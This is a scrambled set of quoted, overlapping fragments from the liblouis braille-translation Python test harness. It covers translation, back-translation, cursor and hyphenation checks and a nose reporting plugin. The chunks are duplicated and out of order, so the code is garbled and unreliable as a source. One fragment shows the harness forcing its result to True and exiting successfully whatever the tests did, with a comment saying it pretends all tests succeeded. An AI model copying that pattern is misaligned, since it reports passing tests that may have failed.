"of the License, or (at your option) any later version. # # This",
"json.load(f, encoding=\"UTF-8\") except ValueError as e: raise ValueError(\"%s doesn't look like a harness",
"# -*- coding: utf-8 -*- # Liblouis test harness # # This library",
"a modes = { 'noContractions': noContractions, 'compbrlAtCursor': compbrlAtCursor, 'dotsIO': dotsIO, 'comp8Dots': comp8Dots, 'pass1Only':",
"a counter running past the end of the string. # medium/longterm this hack",
"import sys import traceback from glob import iglob from louis import translate, backTranslateString,",
"in python2 word and hyphen_mask not of the same length. if PY2: return",
"assert tBrl == self.expectedOutput, u(\"\\n\".join(report)) def check_backtranslate(self): backtranslate_output = backTranslateString(self.tables, self.input, None, mode=self.mode)",
"it is needed? # i.e. in python2 word and hyphen_mask not of the",
"check_translate(self): if self.cursorPos is not None: tBrl, temp1, temp2, tBrlCurPos = translate(self.tables, self.input,",
"3 of the License, or (at your option) any later version. # #",
"end ---\", ] assert hyphenated_word == self.expectedOutput, u(\"\\n\".join(report)) def test_allCases(): if 'HARNESS_DIR' in",
"percent_string=percent_string, failures=failures, errors=errors)) self.stream.write(\"\\n\".join(self.res)) ### End of nosetest plugin for controlling the output",
"set correctly. harness_dir = os.environ['HARNESS_DIR'] else: # we are not invoked via the",
"value) def finalize(self, result): failures=len(result.failures) errors=len(result.errors) total=result.testsRun percent_string = \" ({percent}% success)\".format(percent=round((total-failures-errors+0.0)/total*100,2)) if",
"correctly. harness_dir = os.environ['HARNESS_DIR'] else: # we are not invoked via the Makefile,",
"self.input), template % (\"expected text:\", self.expectedOutput), template % (\"actual backtranslated text:\", backtranslate_output), \"---",
"# medium/longterm this hack should be removed, and the root of the problem",
"Nosetest plugin for controlling the output format. ### class Reporter(Plugin): name = 'reporter'",
"that if HARNESS_DIR is set that we are invoked from # the Makefile,",
"Software Foundation, Inc., Franklin Street, Fifth Floor, # Boston MA 02110-1301 USA. #",
"None)) self.res.append(\"%s\\n\" % value) def finalize(self, result): failures=len(result.failures) errors=len(result.errors) total=result.testsRun percent_string = \"",
"u(\"\\n\".join(report)) def check_backtranslate(self): backtranslate_output = backTranslateString(self.tables, self.input, None, mode=self.mode) template = \"%-25s '%s'\"",
"# the test tables are set correctly. harness_dir = os.environ['HARNESS_DIR'] else: # we",
"pretend all tests succeeded and will # add a @expected_test feature for the",
"return dummy stream class dummy: def write(self, *arg): pass def writeln(self, *arg): pass",
"should return the result of the # tests. However since there is no",
"self.stream = None def setOutputStream(self, stream): # grab for own use self.stream =",
"def setOutputStream(self, stream): # grab for own use self.stream = stream # return",
"output self.mode = mode if not mode else modes[mode] self.cursorPos = cursorPos self.expectedBrlCursorPos",
"word, hyphen_mask)) ) def check_translate(self): if self.cursorPos is not None: tBrl, temp1, temp2,",
"modes = { 'noContractions': noContractions, 'compbrlAtCursor': compbrlAtCursor, 'dotsIO': dotsIO, 'comp8Dots': comp8Dots, 'pass1Only': pass1Only,",
"we will pretend all tests succeeded and will # add a @expected_test feature",
"tBrlCurPos = translate(self.tables, self.input, mode=self.mode, cursorPos=self.cursorPos) else: tBrl, temp1, temp2, tBrlCurPos = translate(self.tables,",
"'compbrlLeftCursor': compbrlLeftCursor, 'otherTrans': otherTrans, 'ucBrl': ucBrl } def showCurPos(length, pos1, marker1=\"^\", pos2=None, marker2=\"*\"):",
"@author: <NAME> <<EMAIL>> @author: <NAME> <<EMAIL>> \"\"\" import json import os import sys",
"= testmode def __str__(self): return \"%s\" % self.harnessName def hyphenateword(self, tables, word, mode):",
"copy of the GNU Library General Public # License along with this library;",
"i.e. in python2 word and hyphen_mask not of the same length. if PY2:",
"team, <NAME>. \"\"\"Liblouis test harness: Please see the liblouis documentation for information of",
"'dotsIO': dotsIO, 'comp8Dots': comp8Dots, 'pass1Only': pass1Only, 'compbrlLeftCursor': compbrlLeftCursor, 'otherTrans': otherTrans, 'ucBrl': ucBrl }",
"test: yield bt.check_cursor if test['testmode'] == 'backtranslate': yield bt.check_backtranslate if test['testmode'] == 'hyphenate':",
"= '../tables,../../tables' testfiles=[] if len(sys.argv)>1: # grab the test files from the arguments",
"it and/or # modify it under the terms of the GNU Library General",
"self.expectedBrlCursorPos, u(\"\\n\".join(report)) def check_hyphenate(self): hyphenated_word = self.hyphenateword(self.tables, self.input, mode=self.mode) template = \"%-25s '%s'\"",
"[ \"--- Backtranslate failure: %s ---\" % self.__str__(), template % (\"comment:\", \"\".join(self.comment)), template",
"files in the harness directory. testfiles=iglob(os.path.join(harness_dir, '*_harness.txt')) for harness in testfiles: f =",
"hope that it will be useful, # but WITHOUT ANY WARRANTY; without even",
"argv=['-v', '--with-reporter', sys.argv[0]], defaultTest=__name__) # FIXME: Ideally the harness tests should return the",
"end of the word, probably due to a counter running past the end",
"a.encode(\"utf-8\") return a modes = { 'noContractions': noContractions, 'compbrlAtCursor': compbrlAtCursor, 'dotsIO': dotsIO, 'comp8Dots':",
"library is distributed in the hope that it will be useful, # but",
"def showCurPos(length, pos1, marker1=\"^\", pos2=None, marker2=\"*\"): \"\"\"A helper function to make a string",
"'comp8Dots': comp8Dots, 'pass1Only': pass1Only, 'compbrlLeftCursor': compbrlLeftCursor, 'otherTrans': otherTrans, 'ucBrl': ucBrl } def showCurPos(length,",
"-*- # Liblouis test harness # # This library is free software; you",
"harness tests should return the result of the # tests. However since there",
"def addFailure(self, test, err): exctype, value, tb = err #errMsg = ''.join(traceback.format_exception(exctype, value,",
"pass1Only, compbrlLeftCursor, otherTrans, ucBrl try: from nose.plugins import Plugin from nose import run",
"end of the string. # medium/longterm this hack should be removed, and the",
"{total} tests{percent_string}, with {failures} failures and {errors} errors.\\n\".format(total=total, percent_string=percent_string, failures=failures, errors=errors)) self.stream.write(\"\\n\".join(self.res)) ###",
"this hack should be removed, and the root of the problem found/resolved. hyphen_mask=hyphenate(tables,",
"This library is distributed in the hope that it will be useful, #",
"= BrailleTest(harness, testTables, **test) if test['testmode'] == 'translate': yield bt.check_translate if 'cursorPos' in",
"(\"expected brl:\", self.expectedOutput), template % (\"actual brl:\", tBrl), \"--- end ---\", ] assert",
"template % (\"received brl:\", tBrl), template % (\"BRLCursorAt %d expected %d:\" %(tBrlCurPos, self.expectedBrlCursorPos),",
"etBrlCurPosStr), \"--- end ---\" ] assert tBrlCurPos == self.expectedBrlCursorPos, u(\"\\n\".join(report)) def check_hyphenate(self): hyphenated_word",
"result = run(addplugins=[Reporter()], argv=['-v', '--with-reporter', sys.argv[0]], defaultTest=__name__) # FIXME: Ideally the harness tests",
"'ucBrl': ucBrl } def showCurPos(length, pos1, marker1=\"^\", pos2=None, marker2=\"*\"): \"\"\"A helper function to",
"def __str__(self): return \"%s\" % self.harnessName def hyphenateword(self, tables, word, mode): # FIXME:",
"template = \"%-25s '%s'\" report = [ \"--- Hyphenation failure: %s ---\" %",
"e.message)) f.close() tableList = [] if isinstance(harnessModule['tables'], list): tableList.extend(harnessModule['tables']) else: tableList.append(harnessModule['tables']) origflags =",
"(\"expected hyphenated word:\", self.expectedOutput), template % (\"actual hyphenated word:\", hyphenated_word), \"--- end ---\",",
"= None def setOutputStream(self, stream): # grab for own use self.stream = stream",
"'HARNESS_DIR' in os.environ: # we assume that if HARNESS_DIR is set that we",
"else: # Process all *_harness.txt files in the harness directory. testfiles=iglob(os.path.join(harness_dir, '*_harness.txt')) for",
"new harness or more tests for your braille table. @author: <NAME> <<EMAIL>> @author:",
"tBrlCurPos = translate(self.tables, self.input, mode=self.mode, cursorPos=self.cursorPos) template = \"%-25s '%s'\" etBrlCurPosStr = showCurPos(len(tBrl),",
"# Copyright (c) 2012, liblouis team, <NAME>. \"\"\"Liblouis test harness: Please see the",
"else: tBrl, temp1, temp2, tBrlCurPos = translate(self.tables, self.input, mode=self.mode) template = \"%-25s '%s'\"",
"useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of #",
"### Nosetest plugin for controlling the output format. ### class Reporter(Plugin): name =",
"temp1, temp2, tBrlCurPos = translate(self.tables, self.input, mode=self.mode) template = \"%-25s '%s'\" tBrlCurPosStr =",
"input, output, outputUniBrl=False, mode=0, cursorPos=None, brlCursorPos=None, testmode='translate', comment=[]): self.harnessName = harnessName self.tables =",
"% (\"expected brl:\", self.expectedOutput), template % (\"actual brl:\", tBrl), \"--- end ---\", ]",
"to make a string to show the position of the given cursor.\"\"\" display",
"tables, input, output, outputUniBrl=False, mode=0, cursorPos=None, brlCursorPos=None, testmode='translate', comment=[]): self.harnessName = harnessName self.tables",
"pos2=None, marker2=\"*\"): \"\"\"A helper function to make a string to show the position",
"% (\"expected hyphenated word:\", self.expectedOutput), template % (\"actual hyphenated word:\", hyphenated_word), \"--- end",
"the paths to the Python test files and # the test tables are",
"sys.version_info[0] == 2 def u(a): if PY2: return a.encode(\"utf-8\") return a modes =",
"-*- coding: utf-8 -*- # Liblouis test harness # # This library is",
"if PY2: return \"\".join( map(lambda a,b: \"-\"+a if b=='1' else a, word, hyphen_mask)[:-1]",
"showCurPos(len(tBrl), tBrlCurPos, pos2=self.expectedBrlCursorPos) report = [ \"--- Braille Cursor Difference Failure: %s ---\"",
"'--with-reporter', sys.argv[0]], defaultTest=__name__) # FIXME: Ideally the harness tests should return the result",
"published by the Free Software Foundation; either # version 3 of the License,",
"even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.",
"the problem found/resolved. hyphen_mask=hyphenate(tables, word+' ', mode) # FIXME: why on python 2",
"tBrlCurPosStr = showCurPos(len(tBrl), tBrlCurPos) report = [ \"--- Braille Difference Failure: %s ---\"",
"or more tests for your braille table. @author: <NAME> <<EMAIL>> @author: <NAME> <<EMAIL>>",
"self.stream.write(\"\\n\".join(self.res)) ### End of nosetest plugin for controlling the output format. ### PY2",
"end ---\", ] assert backtranslate_output == self.expectedOutput, u(\"\\n\".join(report)) def check_cursor(self): tBrl, temp1, temp2,",
"(\"actual backtranslated text:\", backtranslate_output), \"--- end ---\", ] assert backtranslate_output == self.expectedOutput, u(\"\\n\".join(report))",
"for controlling the output format. ### PY2 = sys.version_info[0] == 2 def u(a):",
"along with this library; if not, write to the # Free Software Foundation,",
"hyphenated_word == self.expectedOutput, u(\"\\n\".join(report)) def test_allCases(): if 'HARNESS_DIR' in os.environ: # we assume",
"the # paths (LOUIS_TABLEPATH) manually. harness_dir = \".\" # make sure local test",
"= tableList[:] test.update(testData) bt = BrailleTest(harness, testTables, **test) if test['testmode'] == 'translate': yield",
"and will # add a @expected_test feature for the next release. See also",
"make sure local test braille tables are found os.environ['LOUIS_TABLEPATH'] = '../tables,../../tables' testfiles=[] if",
"test.update(testData) bt = BrailleTest(harness, testTables, **test) if test['testmode'] == 'translate': yield bt.check_translate if",
"set that we are invoked from # the Makefile, i.e. all the paths",
"i.e. we have to set up the # paths (LOUIS_TABLEPATH) manually. harness_dir =",
"backtranslate_output), \"--- end ---\", ] assert backtranslate_output == self.expectedOutput, u(\"\\n\".join(report)) def check_cursor(self): tBrl,",
"temp1, temp2, tBrlCurPos = translate(self.tables, self.input, mode=self.mode, cursorPos=self.cursorPos) else: tBrl, temp1, temp2, tBrlCurPos",
"return \"\".join(display) class BrailleTest(): def __init__(self, harnessName, tables, input, output, outputUniBrl=False, mode=0, cursorPos=None,",
"comment self.testmode = testmode def __str__(self): return \"%s\" % self.harnessName def hyphenateword(self, tables,",
"modes[mode] self.cursorPos = cursorPos self.expectedBrlCursorPos = brlCursorPos self.comment = comment self.testmode = testmode",
"cursorPos self.expectedBrlCursorPos = brlCursorPos self.comment = comment self.testmode = testmode def __str__(self): return",
"nosetest plugin for controlling the output format. ### PY2 = sys.version_info[0] == 2",
"the end of the string. # medium/longterm this hack should be removed, and",
"backTranslateString(self.tables, self.input, None, mode=self.mode) template = \"%-25s '%s'\" report = [ \"--- Backtranslate",
"paths (LOUIS_TABLEPATH) manually. harness_dir = \".\" # make sure local test braille tables",
"to mark a test as expected # failure ATM we would have to",
"import traceback from glob import iglob from louis import translate, backTranslateString, hyphenate from",
"# Free Software Foundation, Inc., Franklin Street, Fifth Floor, # Boston MA 02110-1301",
"disable a whole file of tests. So, # for this release we will",
"add a @expected_test feature for the next release. See also # http://stackoverflow.com/questions/9613932/nose-plugin-for-expected-failures result",
"terms of the GNU Library General Public # License as published by the",
"> 0 else \"\" self.res.append(\"Ran {total} tests{percent_string}, with {failures} failures and {errors} errors.\\n\".format(total=total,",
"with this library; if not, write to the # Free Software Foundation, Inc.,",
"the Python test files and # the test tables are set correctly. harness_dir",
"be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of",
"errors=len(result.errors) total=result.testsRun percent_string = \" ({percent}% success)\".format(percent=round((total-failures-errors+0.0)/total*100,2)) if total > 0 else \"\"",
"% (\"expected text:\", self.expectedOutput), template % (\"actual backtranslated text:\", backtranslate_output), \"--- end ---\",",
"# # This library is distributed in the hope that it will be",
"can redistribute it and/or # modify it under the terms of the GNU",
"require nose. Skipping...\\n\") sys.exit(0) ### Nosetest plugin for controlling the output format. ###",
"} def showCurPos(length, pos1, marker1=\"^\", pos2=None, marker2=\"*\"): \"\"\"A helper function to make a",
"] assert tBrlCurPos == self.expectedBrlCursorPos, u(\"\\n\".join(report)) def check_hyphenate(self): hyphenated_word = self.hyphenateword(self.tables, self.input, mode=self.mode)",
"# modify it under the terms of the GNU Library General Public #",
"from glob import iglob from louis import translate, backTranslateString, hyphenate from louis import",
"to the Python test files and # the test tables are set correctly.",
"would have to disable a whole file of tests. So, # for this",
"from louis import noContractions, compbrlAtCursor, dotsIO, comp8Dots, pass1Only, compbrlLeftCursor, otherTrans, ucBrl try: from",
"how to add a new harness or more tests for your braille table.",
"# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Library",
"#errMsg = ''.join(traceback.format_exception(exctype, value, None)) self.res.append(\"%s\\n\" % value) def finalize(self, result): failures=len(result.failures) errors=len(result.errors)",
"list): tableList.extend(harnessModule['tables']) else: tableList.append(harnessModule['tables']) origflags = {'testmode':'translate'} for section in harnessModule['tests']: flags =",
"= {'testmode':'translate'} for section in harnessModule['tests']: flags = origflags.copy() flags.update(section.get('flags', {})) for testData",
"is distributed in the hope that it will be useful, # but WITHOUT",
"BrailleTest(harness, testTables, **test) if test['testmode'] == 'translate': yield bt.check_translate if 'cursorPos' in test:",
"pass1Only, 'compbrlLeftCursor': compbrlLeftCursor, 'otherTrans': otherTrans, 'ucBrl': ucBrl } def showCurPos(length, pos1, marker1=\"^\", pos2=None,",
"if total > 0 else \"\" self.res.append(\"Ran {total} tests{percent_string}, with {failures} failures and",
"helper function to make a string to show the position of the given",
"to disable a whole file of tests. So, # for this release we",
"sys.argv[0]], defaultTest=__name__) # FIXME: Ideally the harness tests should return the result of",
"in the hope that it will be useful, # but WITHOUT ANY WARRANTY;",
"string to show the position of the given cursor.\"\"\" display = [\" \"]",
"= showCurPos(len(tBrl), tBrlCurPos) report = [ \"--- Braille Difference Failure: %s ---\" %",
"expected # failure ATM we would have to disable a whole file of",
"compbrlLeftCursor, otherTrans, ucBrl try: from nose.plugins import Plugin from nose import run except",
"input self.expectedOutput = output self.mode = mode if not mode else modes[mode] self.cursorPos",
"template % (\"BRLCursorAt %d expected %d:\" %(tBrlCurPos, self.expectedBrlCursorPos), etBrlCurPosStr), \"--- end ---\" ]",
"stream # return dummy stream class dummy: def write(self, *arg): pass def writeln(self,",
"see the liblouis documentation for information of how to add a new harness",
"template % (\"expected hyphenated word:\", self.expectedOutput), template % (\"actual hyphenated word:\", hyphenated_word), \"---",
"dont add space at end of the word, probably due to a counter",
"err errMsg = ''.join(traceback.format_exception(exctype, value, tb)) self.res.append(\"--- Error: ---\\n%s\\n--- end ---\\n\" % errMsg)",
"a, word, hyphen_mask)[:-1] ) else: return \"\".join( list(map(lambda a,b: \"-\"+a if b=='1' else",
"defaultTest=__name__) # FIXME: Ideally the harness tests should return the result of the",
"of the # tests. However since there is no way to mark a",
"next release. See also # http://stackoverflow.com/questions/9613932/nose-plugin-for-expected-failures result = True sys.exit(0 if result else",
"u(\"\\n\".join(report)) def test_allCases(): if 'HARNESS_DIR' in os.environ: # we assume that if HARNESS_DIR",
"---\" % self.__str__(), template % (\"comment:\", \"\".join(self.comment)), template % (\"input:\", self.input), template %",
"Failure: %s ---\" %self.__str__(), template % (\"comment:\", \"\".join(self.comment)), template % (\"input:\", self.input), template",
"pass def writeln(self, *arg): pass def flush(self): pass d = dummy() return d",
"tables are found os.environ['LOUIS_TABLEPATH'] = '../tables,../../tables' testfiles=[] if len(sys.argv)>1: # grab the test",
"received a copy of the GNU Library General Public # License along with",
"compbrlLeftCursor, 'otherTrans': otherTrans, 'ucBrl': ucBrl } def showCurPos(length, pos1, marker1=\"^\", pos2=None, marker2=\"*\"): \"\"\"A",
"word:\", hyphenated_word), \"--- end ---\", ] assert hyphenated_word == self.expectedOutput, u(\"\\n\".join(report)) def test_allCases():",
"all tests succeeded and will # add a @expected_test feature for the next",
"FOR A PARTICULAR PURPOSE. See the GNU # Library General Public License for",
"documentation for information of how to add a new harness or more tests",
"ucBrl try: from nose.plugins import Plugin from nose import run except ImportError: sys.stderr.write(\"The",
"of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU #",
"for test_file in sys.argv[1:]: testfiles.extend(iglob(os.path.join(harness_dir, test_file))) else: # Process all *_harness.txt files in",
"MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Library General",
"translate(self.tables, self.input, mode=self.mode, cursorPos=self.cursorPos) else: tBrl, temp1, temp2, tBrlCurPos = translate(self.tables, self.input, mode=self.mode)",
"# Liblouis test harness # # This library is free software; you can",
"if 'HARNESS_DIR' in os.environ: # we assume that if HARNESS_DIR is set that",
"errors=errors)) self.stream.write(\"\\n\".join(self.res)) ### End of nosetest plugin for controlling the output format. ###",
"test_allCases(): if 'HARNESS_DIR' in os.environ: # we assume that if HARNESS_DIR is set",
"total > 0 else \"\" self.res.append(\"Ran {total} tests{percent_string}, with {failures} failures and {errors}",
"a @expected_test feature for the next release. See also # http://stackoverflow.com/questions/9613932/nose-plugin-for-expected-failures result =",
"we assume that if HARNESS_DIR is set that we are invoked from #",
"None def setOutputStream(self, stream): # grab for own use self.stream = stream #",
"return a.encode(\"utf-8\") return a modes = { 'noContractions': noContractions, 'compbrlAtCursor': compbrlAtCursor, 'dotsIO': dotsIO,",
"self.expectedOutput = output self.mode = mode if not mode else modes[mode] self.cursorPos =",
"% (\"BRLCursorAt %d expected %d:\" %(tBrlCurPos, self.expectedBrlCursorPos), etBrlCurPosStr), \"--- end ---\" ] assert",
"template % (\"actual hyphenated word:\", hyphenated_word), \"--- end ---\", ] assert hyphenated_word ==",
"i.e. all the paths to the Python test files and # the test",
"[] self.stream = None def setOutputStream(self, stream): # grab for own use self.stream",
"def flush(self): pass d = dummy() return d def addError(self, test, err): exctype,",
"# the Makefile, i.e. all the paths to the Python test files and",
"Foundation; either # version 3 of the License, or (at your option) any",
"= harnessName self.tables = tables if outputUniBrl: self.tables.insert(0, 'unicode.dis') self.input = input self.expectedOutput",
"found/resolved. hyphen_mask=hyphenate(tables, word+' ', mode) # FIXME: why on python 2 do we",
"write to the # Free Software Foundation, Inc., Franklin Street, Fifth Floor, #",
"err): exctype, value, tb = err #errMsg = ''.join(traceback.format_exception(exctype, value, None)) self.res.append(\"%s\\n\" %",
"liblouis documentation for information of how to add a new harness or more",
"template % (\"expected brl:\", self.expectedOutput), template % (\"actual brl:\", tBrl), \"--- end ---\",",
"addError(self, test, err): exctype, value, tb = err errMsg = ''.join(traceback.format_exception(exctype, value, tb))",
"nose.plugins import Plugin from nose import run except ImportError: sys.stderr.write(\"The harness tests require",
"liblouis team, <NAME>. \"\"\"Liblouis test harness: Please see the liblouis documentation for information",
"the GNU Library General Public # License as published by the Free Software",
"Public # License along with this library; if not, write to the #",
"tests. So, # for this release we will pretend all tests succeeded and",
"the # tests. However since there is no way to mark a test",
"Free Software Foundation; either # version 3 of the License, or (at your",
"failure ATM we would have to disable a whole file of tests. So,",
"to add a new harness or more tests for your braille table. @author:",
"if outputUniBrl: self.tables.insert(0, 'unicode.dis') self.input = input self.expectedOutput = output self.mode = mode",
"write(self, *arg): pass def writeln(self, *arg): pass def flush(self): pass d = dummy()",
"but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or",
"in sys.argv[1:]: testfiles.extend(iglob(os.path.join(harness_dir, test_file))) else: # Process all *_harness.txt files in the harness",
"u(\"\\n\".join(report)) def check_hyphenate(self): hyphenated_word = self.hyphenateword(self.tables, self.input, mode=self.mode) template = \"%-25s '%s'\" report",
"HARNESS_DIR is set that we are invoked from # the Makefile, i.e. all",
"'__main__': result = run(addplugins=[Reporter()], argv=['-v', '--with-reporter', sys.argv[0]], defaultTest=__name__) # FIXME: Ideally the harness",
"b=='1' else a, word, hyphen_mask)[:-1] ) else: return \"\".join( list(map(lambda a,b: \"-\"+a if",
"= json.load(f, encoding=\"UTF-8\") except ValueError as e: raise ValueError(\"%s doesn't look like a",
"report = [ \"--- Braille Cursor Difference Failure: %s ---\" %self.__str__(), template %",
"errMsg) def addFailure(self, test, err): exctype, value, tb = err #errMsg = ''.join(traceback.format_exception(exctype,",
"mode=self.mode, cursorPos=self.cursorPos) else: tBrl, temp1, temp2, tBrlCurPos = translate(self.tables, self.input, mode=self.mode) template =",
"invoked via the Makefile, i.e. we have to set up the # paths",
"have to disable a whole file of tests. So, # for this release",
"harness directory. testfiles=iglob(os.path.join(harness_dir, '*_harness.txt')) for harness in testfiles: f = open(harness, 'r') try:",
"import Plugin from nose import run except ImportError: sys.stderr.write(\"The harness tests require nose.",
"testData in section['data']: test = flags.copy() testTables = tableList[:] test.update(testData) bt = BrailleTest(harness,",
"plugin for controlling the output format. ### PY2 = sys.version_info[0] == 2 def",
"'translate': yield bt.check_translate if 'cursorPos' in test: yield bt.check_cursor if test['testmode'] == 'backtranslate':",
"= origflags.copy() flags.update(section.get('flags', {})) for testData in section['data']: test = flags.copy() testTables =",
"] assert backtranslate_output == self.expectedOutput, u(\"\\n\".join(report)) def check_cursor(self): tBrl, temp1, temp2, tBrlCurPos =",
"a harness file, %s\" %(harness, e.message)) f.close() tableList = [] if isinstance(harnessModule['tables'], list):",
"GNU Library General Public # License as published by the Free Software Foundation;",
"def write(self, *arg): pass def writeln(self, *arg): pass def flush(self): pass d =",
"super(Reporter, self).__init__() self.res = [] self.stream = None def setOutputStream(self, stream): # grab",
"ucBrl } def showCurPos(length, pos1, marker1=\"^\", pos2=None, marker2=\"*\"): \"\"\"A helper function to make",
"if we dont add space at end of the word, probably due to",
"is no way to mark a test as expected # failure ATM we",
"This library is free software; you can redistribute it and/or # modify it",
"So, # for this release we will pretend all tests succeeded and will",
"the GNU # Library General Public License for more details. # # You",
"class BrailleTest(): def __init__(self, harnessName, tables, input, output, outputUniBrl=False, mode=0, cursorPos=None, brlCursorPos=None, testmode='translate',",
"self.input, mode=self.mode) template = \"%-25s '%s'\" report = [ \"--- Hyphenation failure: %s",
"tableList.extend(harnessModule['tables']) else: tableList.append(harnessModule['tables']) origflags = {'testmode':'translate'} for section in harnessModule['tests']: flags = origflags.copy()",
"probably due to a counter running past the end of the string. #",
"(\"comment:\", \"\".join(self.comment)), template % (\"input:\", self.input), template % (\"received brl:\", tBrl), template %",
"from nose import run except ImportError: sys.stderr.write(\"The harness tests require nose. Skipping...\\n\") sys.exit(0)",
"have to set up the # paths (LOUIS_TABLEPATH) manually. harness_dir = \".\" #",
"# return dummy stream class dummy: def write(self, *arg): pass def writeln(self, *arg):",
"License for more details. # # You should have received a copy of",
"(\"input:\", self.input), template % (\"expected hyphenated word:\", self.expectedOutput), template % (\"actual hyphenated word:\",",
"tests succeeded and will # add a @expected_test feature for the next release.",
"Difference Failure: %s ---\" %self.__str__(), template % (\"comment:\", \"\".join(self.comment)), template % (\"input:\", self.input),",
"success)\".format(percent=round((total-failures-errors+0.0)/total*100,2)) if total > 0 else \"\" self.res.append(\"Ran {total} tests{percent_string}, with {failures} failures",
"== 'hyphenate': yield bt.check_hyphenate if __name__ == '__main__': result = run(addplugins=[Reporter()], argv=['-v', '--with-reporter',",
"tBrlCurPos, pos2=self.expectedBrlCursorPos) report = [ \"--- Braille Cursor Difference Failure: %s ---\" %self.__str__(),",
"temp1, temp2, tBrlCurPos = translate(self.tables, self.input, mode=self.mode, cursorPos=self.cursorPos) template = \"%-25s '%s'\" etBrlCurPosStr",
"of how to add a new harness or more tests for your braille",
"the Free Software Foundation; either # version 3 of the License, or (at",
"should have received a copy of the GNU Library General Public # License",
"format. ### class Reporter(Plugin): name = 'reporter' def __init__(self): super(Reporter, self).__init__() self.res =",
"%d expected %d:\" %(tBrlCurPos, self.expectedBrlCursorPos), etBrlCurPosStr), \"--- end ---\" ] assert tBrlCurPos ==",
"Library General Public # License along with this library; if not, write to",
"paths to the Python test files and # the test tables are set",
"pass d = dummy() return d def addError(self, test, err): exctype, value, tb",
"Free Software Foundation, Inc., Franklin Street, Fifth Floor, # Boston MA 02110-1301 USA.",
"self).__init__() self.res = [] self.stream = None def setOutputStream(self, stream): # grab for",
"test, err): exctype, value, tb = err #errMsg = ''.join(traceback.format_exception(exctype, value, None)) self.res.append(\"%s\\n\"",
"plugin for controlling the output format. ### class Reporter(Plugin): name = 'reporter' def",
"FIXME: why on python 2 do we need to remove the last item,",
"of the GNU Library General Public # License along with this library; if",
"outputUniBrl: self.tables.insert(0, 'unicode.dis') self.input = input self.expectedOutput = output self.mode = mode if",
"import iglob from louis import translate, backTranslateString, hyphenate from louis import noContractions, compbrlAtCursor,",
"testmode='translate', comment=[]): self.harnessName = harnessName self.tables = tables if outputUniBrl: self.tables.insert(0, 'unicode.dis') self.input",
"mode else modes[mode] self.cursorPos = cursorPos self.expectedBrlCursorPos = brlCursorPos self.comment = comment self.testmode",
"version. # # This library is distributed in the hope that it will",
"not mode else modes[mode] self.cursorPos = cursorPos self.expectedBrlCursorPos = brlCursorPos self.comment = comment",
"---\", ] assert hyphenated_word == self.expectedOutput, u(\"\\n\".join(report)) def test_allCases(): if 'HARNESS_DIR' in os.environ:",
"self.mode = mode if not mode else modes[mode] self.cursorPos = cursorPos self.expectedBrlCursorPos =",
"word, hyphen_mask)[:-1] ) else: return \"\".join( list(map(lambda a,b: \"-\"+a if b=='1' else a,",
"a, word, hyphen_mask)) ) def check_translate(self): if self.cursorPos is not None: tBrl, temp1,",
"harness_dir = os.environ['HARNESS_DIR'] else: # we are not invoked via the Makefile, i.e.",
"mode=self.mode, cursorPos=self.cursorPos) template = \"%-25s '%s'\" etBrlCurPosStr = showCurPos(len(tBrl), tBrlCurPos, pos2=self.expectedBrlCursorPos) report =",
"'unicode.dis') self.input = input self.expectedOutput = output self.mode = mode if not mode",
"\"--- Hyphenation failure: %s ---\" % self.__str__(), template % (\"input:\", self.input), template %",
"# grab the test files from the arguments for test_file in sys.argv[1:]: testfiles.extend(iglob(os.path.join(harness_dir,",
"(c) 2012, liblouis team, <NAME>. \"\"\"Liblouis test harness: Please see the liblouis documentation",
"import translate, backTranslateString, hyphenate from louis import noContractions, compbrlAtCursor, dotsIO, comp8Dots, pass1Only, compbrlLeftCursor,",
"f.close() tableList = [] if isinstance(harnessModule['tables'], list): tableList.extend(harnessModule['tables']) else: tableList.append(harnessModule['tables']) origflags = {'testmode':'translate'}",
"template = \"%-25s '%s'\" report = [ \"--- Backtranslate failure: %s ---\" %",
"'backtranslate': yield bt.check_backtranslate if test['testmode'] == 'hyphenate': yield bt.check_hyphenate if __name__ == '__main__':",
"License along with this library; if not, write to the # Free Software",
"'*_harness.txt')) for harness in testfiles: f = open(harness, 'r') try: harnessModule = json.load(f,",
"# FIXME: why on python 2 do we need to remove the last",
"we have to set up the # paths (LOUIS_TABLEPATH) manually. harness_dir = \".\"",
"== 'backtranslate': yield bt.check_backtranslate if test['testmode'] == 'hyphenate': yield bt.check_hyphenate if __name__ ==",
"ValueError as e: raise ValueError(\"%s doesn't look like a harness file, %s\" %(harness,",
"the output format. ### class Reporter(Plugin): name = 'reporter' def __init__(self): super(Reporter, self).__init__()",
"tBrl, temp1, temp2, tBrlCurPos = translate(self.tables, self.input, mode=self.mode, cursorPos=self.cursorPos) else: tBrl, temp1, temp2,",
"is free software; you can redistribute it and/or # modify it under the",
"or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Library General Public",
"err): exctype, value, tb = err errMsg = ''.join(traceback.format_exception(exctype, value, tb)) self.res.append(\"--- Error:",
"*arg): pass def writeln(self, *arg): pass def flush(self): pass d = dummy() return",
"Boston MA 02110-1301 USA. # # Copyright (c) 2012, liblouis team, <NAME>. \"\"\"Liblouis",
"template % (\"comment:\", \"\".join(self.comment)), template % (\"input:\", self.input), template % (\"received brl:\", tBrl),",
"(\"actual brl:\", tBrl), \"--- end ---\", ] assert tBrl == self.expectedOutput, u(\"\\n\".join(report)) def",
"expected %d:\" %(tBrlCurPos, self.expectedBrlCursorPos), etBrlCurPosStr), \"--- end ---\" ] assert tBrlCurPos == self.expectedBrlCursorPos,",
"feature for the next release. See also # http://stackoverflow.com/questions/9613932/nose-plugin-for-expected-failures result = True sys.exit(0",
"file of tests. So, # for this release we will pretend all tests",
"except ValueError as e: raise ValueError(\"%s doesn't look like a harness file, %s\"",
"tBrlCurPos == self.expectedBrlCursorPos, u(\"\\n\".join(report)) def check_hyphenate(self): hyphenated_word = self.hyphenateword(self.tables, self.input, mode=self.mode) template =",
"% (\"comment:\", \"\".join(self.comment)), template % (\"input:\", self.input), template % (\"expected text:\", self.expectedOutput), template",
"in section['data']: test = flags.copy() testTables = tableList[:] test.update(testData) bt = BrailleTest(harness, testTables,",
"\"\"\"Liblouis test harness: Please see the liblouis documentation for information of how to",
